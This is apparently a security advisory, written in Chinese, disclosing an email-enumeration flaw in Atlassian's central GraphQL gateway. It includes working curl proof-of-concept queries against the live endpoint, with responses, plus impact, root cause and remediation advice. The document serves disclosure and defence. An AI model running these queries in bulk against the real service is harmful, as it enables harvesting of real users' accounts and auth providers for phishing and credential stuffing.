CVE-2026-XXXX：Atlassian Central GraphQL — 电子邮件枚举预言机

产品

Atlassian Central GraphQL 网关（api.atlassian.com/graphql）

漏洞类型

CWE-204：可观测响应差异 — 电子邮件枚举预言机

严重等级

中危 — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

描述

Atlassian 中央 GraphQL 网关上的 loomUnauthenticated_primaryAuthTypeForEmail GraphQL 查询会根据电子邮件地址是否已在 Atlassian 注册返回不同的响应，从而允许未经身份验证的用户枚举。

已注册邮箱 → 返回 authType（例如 workos、password、google）和一个重定向 URI 未注册邮箱 → 返回 authType: "none"，无重定向 URI

无需任何身份验证。查询名称中包含“Unauthenticated”——它本是公开接口，但不应泄露任意邮箱是否拥有 Atlassian 账户。

受影响版本

• Atlassian Central GraphQL 网关（快照 37157，构建于 2026-07-02）
• 端点：https://api.atlassian.com/graphql

概念验证

已注册邮箱（返回认证提供商）：

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'

响应：

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "workos",
      "hasActiveMemberships": false,
      "redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
    }
  }
}

未注册邮箱（返回 none）：

curl -s "https://api.atlassian.com/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'

响应：

{
  "data": {
    "loomUnauthenticated_primaryAuthTypeForEmail": {
      "authType": "none"
    }
  }
}

还泄露了：邮箱 → 认证提供商映射

authType: "workos" 确认该邮箱使用 WorkOS SSO。authType: "google" 或 authType: "password" 会泄露认证方式。这有助于进行针对性钓鱼。

影响

未经验证的攻击者可以：

• 大规模枚举已注册的 Atlassian/Loom 账户
• 将邮箱映射到其认证提供商（Google SSO、WorkOS、密码）
• 利用认证提供商信息进行针对性钓鱼攻击
• 构建有效的 Atlassian 用户列表用于凭证填充

根本原因

loomUnauthenticated_primaryAuthTypeForEmail 查询没有速率限制，并且对任意邮箱返回认证提供商信息，且无需身份验证。尽管该端点原本是未经验证的（用于 Loom 的注册流程），但它泄露了邮箱是否拥有账户以及使用了哪个认证提供商。

修复建议

1. 添加速率限制以防止批量枚举
2. 对已注册和未注册邮箱返回一致的响应
3. 或：在查询邮箱状态前要求 CAPTCHA/nonce

这不属于什么

经过彻底测试，以下声称均被否定：

• ❌ 无具有权限的 JWT 令牌（令牌包含 aaid: "unidentified"）
• ❌ 无管理员变更执行（所有都因 ValidationError 失败）
• ❌ 无认证绕过（网关正确地将调用者识别为 unidentified）
• ❌ 除邮箱/认证提供商映射外无数据泄露

时间线

• 2026-06-30： 发现
• 2026-06-30： 报告至 [email protected]
• 2026-07-02： 评估修正 —— 从严重（9.8）降级为中危（5.3）

发现者

Wh4l3X